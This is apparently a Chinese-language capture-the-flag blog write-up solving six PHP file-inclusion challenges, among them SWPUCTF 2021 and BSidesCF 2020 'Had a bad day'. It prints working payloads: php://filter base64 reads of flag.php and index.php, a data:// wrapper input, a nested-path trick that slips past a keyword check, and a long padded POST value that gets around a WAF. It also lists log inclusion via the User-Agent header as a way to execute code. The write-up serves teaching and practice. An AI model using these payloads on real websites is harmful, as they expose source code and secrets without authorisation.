目录
①[SWPUCTF 2021 新生赛]include
②[SWPUCTF 2021 新生赛]PseudoProtocols
③[BSidesCF 2020]Had a bad day
④文件包含一些姿势(摘自ctfshow)
⑤[Geek Challenge 2019]Secret File
⑥[鹏城杯 2022]简单包含
开幕雷击,先让传个file,这里的传肯定不是在表单上传,经验告诉我们在url中?file=xxx即可
回显如下
filter伪协议秒了
?file=php://filter/convert.base64-encode/resource=flag.php
但这里可能会有朋友有疑问,为什么不能直接包含flag.php呢
我的解答如下:
include('flag.php')并不会拿到 flag, 因为 include 的本质就是执⾏某个 php ⽂件,
include('flag.php') 跟你直接拿浏览器去访问 flag.php 没有任何区别(php被解析)
flag.php 的内容如下
$flag = 'xxx';
?>
include 之后程序只是定义了⼀个 $flag 变量, 也没有别的操作, 更别说查看 flag 了
正确的解法是⽤ php://filter , 将 flag.php 的内容进⾏ base64 编码, 然后传⼊ include
include 接受的内容如果以 开头, 则会把这段内容解析为 PHP 代码, 否则会将其视为纯⽂本, 啥也不⼲直接输出, 这也是为什么 base64 编码之后就能读到 flag.php 源码的原因
明示文件包含起手
直接filter伪协议读
解码得:
//go to /test2222222222222.php
?>
访问文件得
文件读取内容要等于I want flag
则用data协议写入
payload:?a=data://text/plain,I want flag
博客题有点哈人()
进入题目,两个按钮,点击任意一个均出现一张照片,且URL参数提交相应的值
利用php:filter读取index.php发现出错(其实就是题目自己拼接了.php后缀,挺常见)
php://filter/convert.base64-encode/resource=index.php
去掉.php后缀名后成功获取到源码的base64值,解码后得到源码
$file = $_GET['category'];
if(isset($file)){
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
可以看到提交的参数必须包含三个关键字才能加载相应的函数,并且自动在后面加上php后缀名
php://filter可以在resource之前嵌套一层目录(这个特性可以积累一下),利用此原理获取flag
输入php://filter/convert.base64-encode/index/resource=flag,得到base64编码,解码后得到flag
(index换成woofers或meowers都行)
(想到哪写到哪了)
1.data协议 php代码执行
2.data协议 php代码执行+base64绕过
3.日志包含+UA头代码执行
(这题考察的主要是信息搜集能力,文件包含真的很简单)
开幕雷击,啥也没有,直接看源码,发现一个href链接,点开跳转
按一下试试
啥也没看到,bp抓包
访问得到如下源码:
secret
filter没过滤,秒了
payload:
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
类似的可以参考一下[ACTF2020 新生赛]Upload
源码起手,这不白送?
(ps:值得注意的是var/www/html是apache或者nginx的默认web路径,php文件一般在这一层)
直接filter,秒...没秒掉?
竟然有waf!
(在RCE1一文中我曾表示遇到waf不要慌,可以通过各种手段读index.php源码,如cat,include,而这里显然是后者)
payload:flag=php://filter/convert.base64-encode/resource=index.php
base64解码后得到:
因为waf用的是&&连接,而后者我们无法绕过,只能从前者入手了
(前置知识:$_POST、file_get_contents (“php://input”) 和 $GLOBALS [‘HTTP_RAW_POST_DATA’] 这三个方法都是用来接收 post 请求的)
a=141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414&flag=php://filter/read=convert.base64-encode/resource=flag.php获得flag源码。
拿下!